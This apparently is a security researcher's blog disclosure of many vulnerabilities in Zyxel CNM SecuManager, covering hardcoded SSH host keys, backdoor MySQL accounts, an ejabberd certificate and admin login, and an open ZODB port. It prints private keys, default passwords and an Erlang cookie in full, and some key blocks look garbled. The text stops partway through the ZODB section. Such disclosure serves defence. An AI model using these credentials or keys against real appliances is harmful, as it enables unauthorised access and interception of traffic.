

IT Security Research by Pierre

[Home](#) ([./index.html](#)) • [About](#) ([about.html](#)) • [Feed](#) ([feed.xml](#))

Multiple vulnerabilities found in Zyxel CNM SecuManager

Product Description

The Zyxel Cloud CNM SecuManager is a comprehensive network management software that provides an integrated console to monitor and manage security gateways including the ZyWALL USG and VPN Series that can be extended in the future.

Zyxel CNM SecuManager 3.1.0/3.1.1 (Nov 14, 2018) is the latest version.

Vulnerabilities Summary

The summary of the vulnerabilities is:

1. Hardcoded SSH server keys - CVE-2020-15312, CVE-2020-15313, CVE-2020-15314, CVE-2020-15315, CVE-2020-15316, CVE-2020-15317, CVE-2020-15318, CVE-2020-15319
2. Backdoors accounts in MySQL - CVE-2020-15320, CVE-2020-15321, CVE-2020-15322
3. Hardcoded certificate and backdoor access in Ejabberd - CVE-2020-15323, CVE-2020-15324, CVE-2020-15325, CVE-2020-15326
4. Open ZODB storage without authentication - CVE-2020-15327, CVE-2020-15328, CVE-2020-15329
5. MyZyxel 'Cloud' Hardcoded Secret
6. Hardcoded Secrets, APIs - CVE-2020-15330, CVE-2020-15331, CVE-2020-15332
7. Predefined passwords for admin accounts - CVE-2020-15333
8. Insecure management over the 'Cloud'
9. xmppCnrSender.py log escape sequence injection - CVE-2020-15334
10. xmppCnrSender.py no authentication and clear-text communication - CVE-2020-15335, CVE-2020-15336, CVE-2020-15337, CVE-2020-15338
11. Incorrect HTTP requests cause out of range access in Zope
12. XSS on the web interface - CVE-2020-15339
13. Private SSH key - CVE-2020-15340
14. Backdoor APIs - CVE-2020-15341, CVE-2020-15342, CVE-2020-15343, CVE-2020-15344, CVE-2020-15345, CVE-2020-15346
15. Backdoor management access and RCE - CVE-2020-15347
16. Pre-auth RCE with chrooted access - CVE-2020-15348

Technical Note:

The attack surface is very large and many different stacks are being used making it very interesting. Furthermore, some daemons are running as root and are reachable from the WAN. Also, there is no firewall by default.

Details - Hardcoded SSH server keys

By default, the appliance uses hardcoded SSH server keys for the main host and for the chroot environments as shown below. This allows an attacker to MITM and decrypt the encrypted traffic:

```

root@chopin:/etc/ssh# ls -la /etc/ssh/
total 176
drwxr-xr-x  2 root root  4096 Mar  6 2018 .
drwxr-xr-x 77 root root  4096 Dec 20 2019 ..
-rw-r--r--  1 root root 136156 Jan 26 2018 moduli
-rw-r--r--  1 root root  1669 Jan 26 2018 ssh_config
-rw-r--r--  1 root root  2522 Mar  6 2018 sshd_config
-rw-----  1 root root   668 Mar  6 2018 ssh_host_dsa_key
-rw-r--r--  1 root root   601 Mar  6 2018 ssh_host_dsa_key.pub
-rw-----  1 root root   227 Mar  6 2018 ssh_host_ecdsa_key
-rw-r--r--  1 root root   173 Mar  6 2018 ssh_host_ecdsa_key.pub
-rw-----  1 root root  1675 Mar  6 2018 ssh_host_rsa_key
-rw-r--r--  1 root root   393 Mar  6 2018 ssh_host_rsa_key.pub
root@chopin:/etc/ssh# for i in *pub; do ssh-keygen -lf $i ; done
1024 80:24:2d:f6:66:d4:db:93:10:bd:0b:ef:bf:78:33:12  root@chopin (DSA)
256  04:e0:44:00:20:8a:9f:df:b9:01:4a:ba:b0:55:d6:57  root@chopin (ECDSA)
2048 56:ad:2f:a7:79:83:5b:64:32:d4:05:ce:7a:de:8f:44  root@chopin (RSA)
root@chopin:/etc/ssh# cat ssh_host_dsa_key
-----BEGIN DSA PRIVATE KEY-----
MIIBuAIBAAKBgQcdYajCHQf9wLkG+i88inFBPbLkHE3cTTRHCbE5/vQ7/Sd5dGH7
WlNjH9EKtdZ17XDjW53y5IRz8SSxC0M3BXszcGQcHqQTtWIpv08D5WztWgQctA
RJDcu1rYztPq1qHN6Xo5zbPjvp0JnIT1/SoN1/jB8qIROFNuQPAeBMf1QIVAIqq
ufhcUfSN4QJmMigtP86sCwnAoGBAIokbAVvxkQJX4yUxwBx0xyHydPLVKNggYkU
zfwYGxat4acSIwCAHy50k+oUnFxbVy9kp5YpgjP6uEWLgB1GQNBDxkMORp6Zvq7
MrWMAAL5VK0aJt4DiK0gGz4y2cscwRj6ioifxwBZLXJ+AKv4g7pRwyTDMV16Gcy/
McvCePGAoAGb3e1vs1cuD1biQ3aCohhOpXcMhgLb1Rde+eRJjyvwKrat4njJd
2jAdVUA6N76sPaxEP18oQj1Z1A76Qp8G6PMYsJjGsD8o1GdJOpMNCdLI9wLgAKS
66DrS4w05RtHV43mb8NAVqC+wx1gwtbY3/A+x0faE0u0KPF3o0BUVC18CFGj4gg+A
+eDbJtE7Lq5vw8qBFHCq
-----END DSA PRIVATE KEY-----
root@chopin:/etc/ssh# cat ssh_host_ecdsa_key
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEII/rGKz6KXFYU9gjlaasMA7F4fA5bvy5nYFL+6SDVCLSoAoGCCqGSM49
AwEHoUQDQAET50b/mPZ+x/F5NtFKGOkuMvx3AZL6Mw9LkV64IgIFgb0KUvoGjXx
f01XR5Rgtgec6fatdKGYPsRTz3eBzKSzA==
-----END EC PRIVATE KEY-----
root@chopin:/etc/ssh# cat ssh_host_rsa_key
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA3+4JXEBUNFcdux2oS7s2okKtk2UARJUrWGs/nYVs+8vFRBVU
2lQqTTZKRtAAOPsDByo77BELr/DcYqtMPXBh3FLftrt5Su9pI04caPbL8BoeoOfq
LUY4nvZFTq/qmClxtp/Azg4Z495vTbMT3411TKcyGIYn7Ag1ES1Q2IKU9BvRAwuN
xxIDBmGGNSkyWC+T1Zi1uK8cfN5MgVpDyO6HcgJuaKgh8jjcbCUUizmUKJ7495i
itX112u6d/WNH18g1kRNQBg+3Qpb+8EeTKwZaC+XgLADz+w5GQxreXW4T2yh5vtU
ph9ZT4j8dEViG72rwGK1Gguu6R97Uy1PHrFmwIDAQABAoTBAADyS53VM8Xo3FpP
HMf9KZTz/THTSnX/xnG02uaBcTmrpXEFVC67FbZnQFJ26Z1Athf1G1OASOk0/o6
yR61W+SHgSSP1EapymL40IvtBx2jrp91e3rnghPB7NMzLUSWf1KL5FBWpOtepE/K
wvm95ey28DMwXOUzf5yb9EjHvqNtFkVgAgBIM3wdGQ5cN3odYC9hBPVh9SM11IQM
P0fkOPqgMgQWoX7qOGhfX01GB1dq4XATkB1kF8saY19Qc9td379UxyXT2rzhV1zq
epD9jbu41Dj6btZReGU+ZzeF18jFhxj1KaIObg1rRx1KuYA1IE0+85Dg1LCBKcd
ahQVELECGYEa9Wm7jDkgy1MTtO9tBM1yuxW7LbwvUkIWQ3341TbTcmr2fmbMOZZY1
4gpxb1WDCGJ8tk01AvLopxputuFE1k8HgeXip0UlhYopK51ybXnMyVgHeipNzhsw
0qvGczk+Cc8FUDsHtm1BJkuZREce50mcbEntLmtbaod8MNT3AfnGHCsCGYEAGZrb
jq9faUGFmrPH5BFSeNLVH+FgrmiEVxY8G8mgJqThBumYZlWgm/Sg612J1lWYCVq7
PEkyKCmpkcKM8zICLxM4AUctuPnhwFsvsAHFXu1sRK059US/EdqHdrrVf0E1yzmj
LV3z0SPq28TkvvFNkN5e3y4FXsOhc+G+6QoyjxkCgYEAr4MAfy0KeIHfsX4g0FOD
IG2tfiH2cnnLcVsYUifC0uZus9zF5kD2FVIMyOYeHqwaGF4ao65KweHc16MhtRY
kH5z+kDJU1Z17lbrdFBGuWnz9FZ02cc1IePD8zsbNSPL+1RCnEHMTM20/vAdeAMdoD
J6wxfszHOE0ItQBMXjxfxhsCgYAWd4VMOM01Xh7jXHUKExxqUG5c91EUFQs9UO8h
AQ1Tesyff7sUUQ11I5xdIJmpc1wAm1KtnqCL5Wp1xXbuuA2nt2J4hP75v1ae6G0
y1MuF1rHF/R8I3r69mdXTbeg0IPnJbJy4Q1GyptW5APXzf0AQ+Kvtj5f+dKqUXjJ
8ugf6QBgdXRRHhF1F1JcDmMV+USaPff5dcOpEX1PTxeHIPaFjUGBuq4kcT3NUPa
QJLAS+rG1PMrX6ggStNOSMG2kh7kne2Y38oE0zg9mKnRpp56e9DX/cWf/r1pMSvE
ceH7BAFV9daHQoz41jrsJQnvgVT4DTANpw8zB/7bTwBnD519AZB
-----END RSA PRIVATE KEY-----
root@chopin:/etc/ssh#

```

Same problem inside the "Axxess" chroot:

```

root@chopin:/opt/axess/etc/ssh# ls -la
total 176
drwxr-xr-x  2 root root  4096 Mar  6 2018 .
drwxr-xr-x 81 root root  4096 Mar  6 2018 ..
-rw-r--r--  1 root root 136156 Mar  6 2018 moduli
-rw-r--r--  1 root root  1669 Mar  6 2018 ssh_config
-rw-r--r--  1 root root  2489 Mar  6 2018 sshd_config
-rw-r--r--  1 root root   668 Mar  6 2018 ssh_host_dsa_key
-rw-r--r--  1 root root   601 Mar  6 2018 ssh_host_dsa_key.pub
-rw-r--r--  1 root root   227 Mar  6 2018 ssh_host_ecdsa_key
-rw-r--r--  1 root root   173 Mar  6 2018 ssh_host_ecdsa_key.pub
-rw-r--r--  1 root root  1679 Mar  6 2018 ssh_host_rsa_key
-rw-r--r--  1 root root   393 Mar  6 2018 ssh_host_rsa_key.pub
root@chopin:/opt/axess/etc/ssh# for i in *pub; do ssh-keygen -lf $i ; done
1024 49:73:d6:b0:8e:c0:de:d5:a4:5d:32:0a:2d:83:d9:2f root@chopin (DSA)
256 53:fa:90:76:ed:9d:bc:28:8c:f4:4c:5e:88:29:f6:85 root@chopin (ECDSA)
2048 a2:59:77:cf:8c:0b:55:c3:53:a6:3a:fd:ac:d7:70:35 root@chopin (RSA)
root@chopin:/opt/axess/etc/ssh# cat ssh_host_dsa_key
-----BEGIN DSA PRIVATE KEY-----
MIIBBgIABAkBgQDLSttOJ+6RcDH+Lavzzo3+vXNeQiWCyE5saxUc++QugyxILRA
kWskEqqt+E1ZkX5H521zguxsVVzW5vdII8yDJOH026X51o/hLeT20LPokOWQgnOt
ez1Wd3wEYBYIyko6cBNnQICKFY4JUgo5xVF4kVFjdqKYM6p5BFyBHSddQIVAOW/
SpLXgrkXAcQ7nUXdhQCAjbt/AoGAMuWfJlCkAV9GSRfE1QZkljMG7/P2svnoN9H1
XgZ6mCuIQ/8HncTgkXAu0Z64RL/QGK+C1hGd0xFrsw9+gWtL1L0ZuwoGcNj2iaZO
h49SoS6I3+sFb6cHApXrgBgZv004FbpL8o5T16U2L0i3mLCXMGUSFAZpFTjwxcYG
fDnzrKocGyBNcFwsJtr5ElvFUHwKoyXZ0xT3PswzL4VCSD95AASi8VhT2LdYTk7Z
/0q4E9rUPZP48Nehb9juxGNqjW0XcXNnr0VDuN0vz2Vv+nKG6u8Kic1RbKs8J9H5
zzHR1dPZLVdU0vVRrM/1kVvIF1Zpn19Ybuz2Ra5ZHPFhJ45oqBhFRgIUBX+oAX4Z
ffkRUot91g0sNx6txoU=
-----END DSA PRIVATE KEY-----
root@chopin:/opt/axess/etc/ssh# cat ssh_host_ecdsa_key
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIGYB3fxcDt1ket4FRhbFKtqHcQ4K8HPnkAgmvP6hj8InoAoGCCqGSM49
AwEhQQUQDQeA116tsZ+HvPJdY4VvgN76FP/XF6DMud75vY5dQVR2Av68KSUH5Ns9
yhOyfcNB89XABAE2vpM4h0y1jhqWFAQCQ==
-----END EC PRIVATE KEY-----
root@chopin:/opt/axess/etc/ssh# cat ssh_host_rsa_key
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAyAnk4eTtEKfkcpTQaxB/L2A/XQh1jt1Uf22yJUyXh0VJCCJ
SNN36QbN0eI9qsaoH1FobaM1i1thkyp6rQbZzzw/Jg7W76hA1NLSqbNS7mgg6bd1X
5/M810JjjQ9iXUXx7/XrT/Of34QmVojfKsOmtMsUYbk9Qf9G0so58yYGINMSKNZb
604f1sztm1LIPYXLZV4uQrV9BjUHSpumvYGC93fw88V5fYEFYFgcF0pUVEf8BgGvZ
50558GR+A1LF6IvbmViAZ6HgxiMaM85F2h7Qb0t3SrnOFT0481EBD4jjiPnBpJM
KuRPQQH7KxKEzi8VaEqVU0eZcIGeMeRr0prnwIDAQABAQTBAAohsKb9fSbYf00W
1yZaDnnVp86UcD+Z0zrPiqinFTL1a50Ikv1bHm75DavT519Wxg9ptcKUiDmLQjj
Uh2aK1WEKI76qbeIGvrMA6g2RDroIO9hYbJg8XSM742d8UZYhmCVTB6VsJnL68vu
M5B1hkHdVmfwo/JV/1wHF0RVa808eulp96xjVHEoHz1VFKCXEs5UD16h2/+oI1n
5oIPGn7JTU1zGkpF53oDZ1a0G1076JtYadGn4NU7g6Y103xweqgzKD1J1JhCsL7
8Rn9Tef1YmjCL+Nhz6fMqkeFMWkaY8Hv0NyVsulv4qJoCKYKdXzp/vdf+rKKApuq
mTNxSkkCgYEA95y6gC5o1d/pl1jiG3dD1NT/BS/yMbq78VaTwx/8hHEkKXVedfdk
hEvh8eBxjknogR3fgPEQ5fyu2N4CEYVTdJS72+4hgNRgMDW8ToawqkHnubfH2+wp
kFqIw9rPsESi/Msng5XOVBP1pQwk+5HKNIN8AcD7stefuHjmtPrAJfUCgYEA0Hf7
vqnZ20GvK3oW6NB+FshwsSK4BzskkB21I/zcMzLF1a5qJMKAAQNNmtFgLP18kvEz
ZkAK1yneKdz1JmF+vC594Wdkk9R03oB0KcYYJ5pIccaVgFuiAfvpRMBYwrx6CWS
2GgBkxIpg9XE/XPQ1DA15P5wMqXJtS/AjMSE0sMcGYEAtf0Tdit71/ZOj1DATsqe
qEcESK08tqAwkmiVi/pudk1R8sa47qstza6YG1aEH9sc0g1KxJpTnFRas0Bca80
b3MBv9t99FoJeEuGY5DLN9fIn52a3xw1TFvRVXh1Q/ff3UbTejB3PYSACBn18KBu
pw81DYtxebjRQ5xYaCvEH1ECgYEAminSyRZwVjZFeF3zeXN1u7s3w/FVmuTpwHia
wzR4o3XZ1cc3n6I6W1f8AyyfJ50Axbx8Eat2wy29gs/nyae5JlUWgt11175L3386
gH6UmE1HYVMffY978fVsousfLqu3ioZDxtmDnkvCuNaoh5RA4M3CTKbozgaFa3B/
ggEhiCUCgYEAhcuDPqDYZpDW5pvgLSfb8WmfXMKZqMfFrIdjBhMjWsq1Y5+M8EHC
7ufXlwa2y2bNmBZCTHYMSAM0618hEwxw/cDo29V9ncA0kC1wYVKYuof27ziExp1A
530+t7PjU4CKCaZVcuW9ivQ0Hk8nMNAqHGR010SBk4Qfifz2wzLD8=
-----END RSA PRIVATE KEY-----
root@chopin:/opt/axess/etc/ssh#

```

It should be noted the private keys are using wrong permissions and are world-readable (644).

Same problem again in the "mysql" chroot:

```
root@chopin:/opt/mysql/etc/ssh# ls -la
total 156
drwxr-xr-x  2 root root   4096 Mar 18  2015 .
drwxr-xr-x 66 root root   4096 Mar  6  2018 ..
-rw-r--r--  1 root root 125749 Apr  3  2014 moduli
-rw-r--r--  1 root root  1669 Apr  3  2014 ssh_config
-rw-r--r--  1 root root  2453 Mar 18  2015 sshd_config
-rw-----  1 root root   668 Mar 18  2015 ssh_host_dsa_key
-rw-r--r--  1 root root   601 Mar 18  2015 ssh_host_dsa_key.pub
-rw-----  1 root root  1679 Mar 18  2015 ssh_host_rsa_key
-rw-r--r--  1 root root   393 Mar 18  2015 ssh_host_rsa_key.pub
root@chopin:/opt/mysql/etc/ssh# for i in `pub; do ssh-keygen -lf $i ; done
1024 3e:46:e9:be:c8:8c:ba:dc:46:3a:3f:22:4f:77:0b:ae  root@chopin (DSA)
2048 da:b5:27:e4:80:da:4e:18:cf:b9:52:49:2c:72:e2:ce  root@chopin (RSA)
root@chopin:/opt/mysql/etc/ssh# cat ssh_host_dsa_key
-----BEGIN DSA PRIVATE KEY-----
MIIBuWIBAABgQDQWznZu+1jijXqKw5vEG+p6euc73+CrIDP+JAqvD6ud8Le8ojD1
813N8148xKXcTWGAeeHQMMtPthNvPrO4IMVdf9Z/3mhrhX9x7NB/Fm7JrCjDwY4c
x8R+inJk9y86ow7FuOdKfN9nt5Zh6FsFPs/0vq4Mg2MLjUk1au3UQy7mhQIVAOCr
fau8ONhgh8vCPvw8mIVIJnmbAoGAeqMt4/b1D7Fevf3b2afmMt02zUDN1v1xJjHL
EcG4Q6FXt0WwKIDBGDeOaB7gGR7acWvfr5YrMhLgVAwMhd1kG0UY4Q/2Kh0PR1p
D4ZMssaxHnt/EprT+GxZfy4e9MhK3RwdeYCSwfvbcIKznfBhv+AUDZ6j/KRpU1e/
Pi//Yl8cgY8Ct5jPU0bIymiXaX3fndNBoydI9Ium0z8qVDDp49vZd03nemtzU7d5
4k8UGOoBSZ12PC+W0ZNNJH5jWA2DV5+Pajq+UsYw6JHog8PMMhdLDoe+yF96avsE
8bGrSWqSV0N8Zg7NVRasuaJjVZHoel1gpENTvd+LxbKH1v74f6vGQwIVAMS7rCpe
UyV29YpCEwVrL5CXEAeW
-----END DSA PRIVATE KEY-----
root@chopin:/opt/mysql/etc/ssh# cat ssh_host_rsa_key
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAABCAQEAvmS8NXGuXV1fTmotghmZgNE3webolUbq1UjznYqZ1aIbvHV5S
GY1V2MYgtEj4y2+perz9wuvdv8/M+it3cc4XFQdpASY1n1L/PSM304td+9ah/z3A
VD10xDRevC7LQlkXOF3r1Q5RRTR1cmChsLWi9zEFbDSzJy9anZk+U/uQSQZsy710
0ZntWSkjnH79+OA6GqKJ5S9PNhqaFwmB76k8Bbf21iWk12acIErhGg9ThnmR0vFRy
/QqeH8P83RDXYzd0nkLgxJ3GNI+Y/Dw+h6ks0ZNoGIfE1QsFc3gktkv8B2uomV
Fto5xLS+ /UKKmZnCq0UPC3cE1skAtYMYfZgkQIDAQABAoIBADn1301uUM55+/K5
nnoFdD/P2mZs3sUxunTLpP+9W+1p1JkvPJIAKOcIxpnn8J3PsLLqTy55a6EK9+IS
YodLQgK0pPw/dF9NF1ECXR9HH/SoK/ke+Z/iP1awIPiONSZHVSK/E4ttndEvAGEz
9RN2NEN30JHd4b7A04Trvny6Mr5sYe6bXgLLK7DZRE+dAUVIP4XV1tdFh26K1hG
UvO2ihU+Tuz9AxpP3+UIgndMMsFhxk52ItBobCSts5WzPrzZs+Q4Xmo56gcWnYU7
3Lohv9Kn81pDiu/1B7dQz/awyWaeKOf1U+p473qmH53+HahT50Apj27djtF41vEx
LfV8ct0CgYEA6wMyHEzVh00LJN2J3RgebsfuKTigM8QQqMKWUep55/66W/85QL
meJFd2ipOJZF/VV/fqw+ocK8Z9zt1W2S003JRC29Gs71cwwUnErr0g7k5Xs3m61N
pteRH1ATxw+bX12I9BwpQv6jMZCr1xXNz4yn0XSUmZz/vZ7ABxntR6sCgYEAz3bm
FECHPRtzg68/eHPbZ+A+3sD7vuh7AuD1X6yWozWgdE7aGf0wG+CferNOBgqkvLR6
JMOT/1qQg/T8j/EWuGFIQcHhso2/ePSP108YsAaXdmY2f+OSNC4CqdCebLRgFvjT
gxhge81unu/tWUsB9jA1BP52bsQVX+ymDE7TzLMCgYEA139BHmVJFdo03K2EbtT4
cy1sos9Ct3yxRSyr97QtZweBHOos7z0AU2JE3CUM1S217HL0k8dAAhqqZ0hRqjH5
RMTwG+S2bBRDFFCYahFauzwWCFVEY8BR4efW/2oz4izmSAwoP+Ifr26gks3+S/Jo
UPtHnd+pyArWdsMNBum27MCGYAP0pe+rpQxsKLkKI+UghG50varjE5oK8hg1NA
ECxfgujANGtjfs1wM3J9JiSmsr1uwcLB1MB2T2e+7C1a1P5kaZaawgkK8bZYsCm
cTGwybiP8ErUX4V0mVYukSc+CBgQdie9Rbrn3prV0xkQ8bf+EaSxF3Cp0o3s4jQd
d4zfwQKbgQDeZmlWqkMX/vmwV4GzgV2FRNCvry5nNW1t6wroF7DEuA7WGAZVR5Bx0
nPZDkq3jorJezXBmIwMny3iNSNiDin/GSxbMMwx7JvKaPVkw5GubmICO/T9HvurJ
2RnFOAuZaMQ1bZSD49jEV30cxBM/gPORYyAHGr1yG2kXoXan5aDCHQ==
-----END RSA PRIVATE KEY-----
root@chopin:/opt/mysql/etc/ssh#
```

Hopefully, the root account has been disabled in the /etc/shadow file (1234 is the password if the account is re-enabled).

The management access using the secu_manager user is still vulnerable to MITM/decryption.

Details - Backdoors accounts in MySQL

MySQL is pre-configured with several static accounts. It only listens to the loopback interface.

Credentials:

- root / axiros
- root / axiros from 61.222.86.79 / zyadb79.zyxel.com.tw (HINET-NET, Taiwan)
- root / axiros from 118.163.48.108 / 118-163-48-108.HINET-IP.hinet.net (HINET-NET, Taiwan)
- root / axiros from localhost
- root / axiros from chopin (127.0.0.1)
- livedbuser / axzyxel
- zyxel / ?? (hash: B149E2C1869FF94FD5ED8F2C882486599B4CF8E4)

The access have been extracted from the previous mysql history file and several configuration files:

```
GRANT ALL PRIVILEGES ON *.* TO 'root'@'61.222.86.79' IDENTIFIED BY 'axiros';
GRANT ALL PRIVILEGES ON *.* TO 'root'@'118.163.48.108' IDENTIFIED BY 'axiros';
INSERT INTO `user` VALUES ('localhost','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',...)
('chopin','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',...)
('127.0.0.1','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',...)
('localhost','debian-sys-maint','*D000798D1CE7C350F7AA4E44B2D68A0770B85194',...)
('127.0.0.1','livedbuser','*42D02F8D1F74B2F0252592EFFCE69BEE35FA068',...)
('127.0.0.1','zyxel','*B149E2C1869FF94FD5ED8F2C882486599B4CF8E4',...)
('118.163.48.108','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',...)
('61.222.86.79','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',...)
('%','root','*68CB74FACED3A93905CFA3FA266AF50E17E92A56',...)
```

These passwords are **hardcoded** by the vendor and used everywhere:

From collected:

```
<Plugin mysql>
<Database live>
Host "127.0.0.1"
User "livedbuser"
Password "axzyxel"
Port 3306
Database "live"
</Database>
</Plugin>
```

From Axxess TR-069 solutions:

```
root@chopin:/opt# cat /opt/axess/etc/axess/TR69/Managers/_live/asynch/mysqlCPEStorage/db.txt
[...]
server=127.0.0.1
port=3306
tablename=CPEManager_CPEs
[...]
user=livedbuser
password=axzyxel
[...]

root@chopin:/opt/axess/opt/axess/zyxel# cat zodb_checkout.sh | grep root
mysqldump -h 127.0.0.1 -u root -paxiros live ScenarioObjects > /opt/axess/zyxel/zyxel_customizations/dbdumps/policies_
table.sql
mysqldump -h 127.0.0.1 -u root -paxiros live axalarm_handlers > /opt/axess/zyxel/zyxel_customizations/dbdumps/alarms_t
able.sql
mysqldump -h 127.0.0.1 -u root -paxiros live AXServiceDefinitionTable > /opt/axess/zyxel/zyxel_customizations/dbdumps/
services_table.sql
mysqldump -h 127.0.0.1 -u root -paxiros --no-data live CPEManager_CPEs > /opt/axess/zyxel/zyxel_customizations/dbdump
s/cpes_table.sql
```

And from various places inside Python code:

```
/opt/axess/opt/axess/Extensions/recreate_all_realm.pyc
db = MySQLdb.connect(host='127.0.0.1', user='root', passwd='axiros', db=cnmid)
```

Also the system account `debian-sys-maint` is using a non-editable hardcoded password `wbboEZ4BN3ssxAFM`:

```
root@chopin:/opt/mysql/etc/mysql# cat debian.cnf
# Automatically generated for Debian scripts. DO NOT TOUCH!
[client]
host      = localhost
user      = debian-sys-maint
password  = wbboEZ4BN3ssxAFM
[...]
host      = localhost
user      = debian-sys-maint
password  = wbboEZ4BN3ssxAFM
[...]
```

Details - Hardcoded certificate and backdoor access in Ejabberd

Ejabberd is used to manage all the CPEs connected through TR-069.

The Ejabberd process uses a hardcoded certificate along with a private key:

```
root@chopin:/opt/production_xmpp/etc/erlang# cat ejabberd.cfg
[...]
{5222, ejabberd_c2s, [
    {access, c2s},
    {shaper, c2s_shaper},
    {max_stanza_size, 65536},
    %%Zlib,
    starttls, {certfile, "/etc/erlang/ejabberd.pem"}
]},
[...]
}
```

Content of `ejabberd.pem`:

```
root@chopin:/opt/production_xmpp/etc/erlang# cat ejabberd.pem
-----BEGIN RSA PRIVATE KEY-----
MIICXwIBAAKBgQDppTghA6irhkzFDAlPyDV/cJzjN946mUV2uq4PiI3Uk5gaIZZ
15CV1rPKKXh1UguIFnHTFfyHC0T478IprCYuiWE6Yw/5/NTc0pHkx3MeY1lc711
R6ZtKTYbn3n5HbmtHJz1uuBm8QWdgyO2HAG011uf5P29Nerra0LMj8MKULwIDAQAB
AoGBA3fMH3ja83N1L4FetydxCIcnaBczgzMx34jDUF0U81/1vtrRQj1IE1S/wW
fYVoN6wGhIBjMX0/mg+bjxr8yZBCp96XZCu/POqNqOHPvvFrFryG5zqh/LkG0+tg
oXJlIpYd+Y6eTz2Fj2DPRyczaGJod1SxUz41v92G1yWGTfnhAkEA/Z8Dhxhu8ZNK
n81+lkE6X0tCZ0kn1Hkq8zIKwVvSsu859u7t7+5/LoBRyqkx0FwoP12+uBY6BTQV
0AQT/S5d3wJBA0vV+ad1JnG06gMeNadtww0FvB1UB1ar1sI+CbgUOF9PgPITwEFQ
CvQWktVB8NjjxdaTtYskYvK4NU45IKCH87ECQDRCeCRgPPd0Q0a51N18Weg2hN0
B82EgKsF0euh71oHudV8PQLwaBt041hRuy0ry27QUcn1ayVwDiQVK8j2AxwxAkEA
1oLTyYCi1j0bKtGxhp5M/OZPto4a+refyBybXicJVFQf6P5j5XZ0L1zp2yKQQ21
Fv9V4xEu33YzohQkZP3kQJbAL3PeT67cR8H7k4FdGXFh6vJdN1LZ/91ac9cFZF3
ZjabcZwn5gn1QD9ARV/Cd2dsX3xGy4vuoM4hwvjHKAMwHhg=
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDEDCCAnmgAwIBAgIJAPvsRdD6v5ITMA0GCSqGSIb3DQEBBQUAMGQxFTATBgNV
BAoTDHp5eGVSzLmNvb5S0dzEPMA0GA1UECxMGY2hvcG1uMRUwDwYDVQQGEWh1amFi
YmV5ZDEnMCUGCSqGSIb3DQEJARYYcm9vdEBjaG9waW4uen14ZmWuY29tLnR3MB4X
DTE1MDQxMzE2MzIxNfoXDTExMjMDQxMjE2MzIxNfoZDEVBMGMGA1UEChM14ZmWu
Y29tLnR3MB4XDTExMjMDQxMjE2MzIxNfoZDEVBMGMGA1UEChM14ZmWuY29tLnR3
KoZiHvcNAQKBGh1b3Bp156eXh1bC5jb20udHcwZ8WdQY3koZiHvcN
AQEBBQADgY8AMIGJAoGBA0mk90CEDqKuGtN8MDU/INX9wn0M33jqZRXA6rg+IjdS
TmBoh1nXk3Xws8orEFVSC4h80dMV/IcLRN3jvw1msJi63YTpjD/n81Nz5keRbcx5
iWVzvXVpmp0pNuhfFkdYcN0W64GbyP2ZDI7YcAb5XW5/k/b016utrQsyPwmpQv
AgMBAAGjgckwgcYwHQYDVR0OBBYEF1fcFVUJtFKuVzIr7Ps81asbkYoW1kZjBkMRUwEwYDVQKExw6
HSMegY4wYUAF1fcFVUJtFKuVzIr7Ps81asbkYoW1kZjBkMRUwEwYDVQKExw6
eXh1bC5jb20udHcwZ8WdQY3koZiHvcNAQKBGh1b3Bp156eXh1bC5jb20udHcwZ8WdQY3koZiHvcN
JzA1B8qkqh1G9w0BCEWGHj3v3RAY2hvcG1u.np5eGVSzLmNvb5S0d4I3APvsRdD6
v5ITMAwGA1UdEwQFMAMBAF8WdQY3koZiHvcNAQEFBQADgYEAECFh0m4y+Ad31tXd
Nf12XyU5G6arXLM1rh2sUcne2EKRNuzSKoEM0MkLui7o80qf+gd9dC2z2F7qrr
iaeOrMvTFpNu31Bx/YSubhEndyega1WT8z14TYdxz2ehExGp10SRjhtdrqs99R+2
gm711P4aV1TQaC+WmpkIP6eyINM=
-----END CERTIFICATE-----
```

Also, the management webservice is reachable on the WAN interface on port 5280/tcp. It allows to list accounts (linked to CPEs) and remove them. The authentication is using hardcoded credentials:

```
http://[ip]:5280/admin/
```

An attacker can visit the administration, manage all the CPEs using the default credentials (a1@chopin / cloud1234) and create some havoc:

```
http://[ip]:5280/admin/vhosts/
```

These credentials are hardcoded inside /opt/axess/opt/axXMPPHandler/config/xmpp_config.py :

```
XMPP_PORT = 5222
XMPP_SERVER = "127.0.0.1"
XMPP_JID = "a1@chopin"
XMPP_PASS = "cloud1234"
```

Also, the permissions of this file are wrong and this file is world-readable

```
root@chopin:~/pre-auth-rce-4# ls -la /opt/axess/opt/axXMPPHandler/config/xmpp_config.py
-rw-r--r-- 1 root root 1738 Mar  6 2018 /opt/axess/opt/axXMPPHandler/config/xmpp_config.py
```

Also, the shared secret for ejabberd replication, called the Erlang cookie, is hardcoded:

```
root@chopin:/opt/production_xmpp/var/lib/ejabberd# hexdump -C .erlang.cookie
00000000  42 41 4b 56 41 55 48 4d 51 52 49 53 49 4a 59 55  |BAKVAUHMQRISIJYU|
00000010  45 56 4d 4b                               |EVMK|
00000014
```

Details - Open ZODB storage without authentication

ZODB is a native object database for Python.

By default, a python process managing the 'Zope Object Database' runs on the appliance and is reachable over the network on port 8100/tcp without authentication:

```
/usr/bin/python2.7 /opt/axess/eggs/ZODB3-3.10.5-py2.7-linux-x86_64.egg/ZE0/runzeo.py -C /opt/axess/parts/zeo/etc/zeo.conf
```

Configuration:

```
root@chopin:/opt/axess/opt/axess/parts/zeo/etc# cat zeo.conf
[...]
address 8100
read-only false
[...]
path /opt/axess/var/filestorage/Data.fs
blob-dir /opt/axess/var/blobstorage
[...]
```

Futhermore, by default, the logfile contains multiple (~ 100) entries from 2016 about 'insecure mode setting':

```
2016-02-29T13:45:04 (17833) Blob dir /opt/axess/var/blobstorage/ has insecure mode setting
```

The blob directory has wrong permissions and is world-readable:

```
root@chopin:/opt/axess/opt/axess/var/blobstorage# ls -latr
total 16
drwxr-xr-x 2 210 210 4096 Feb 29 2016 tmp
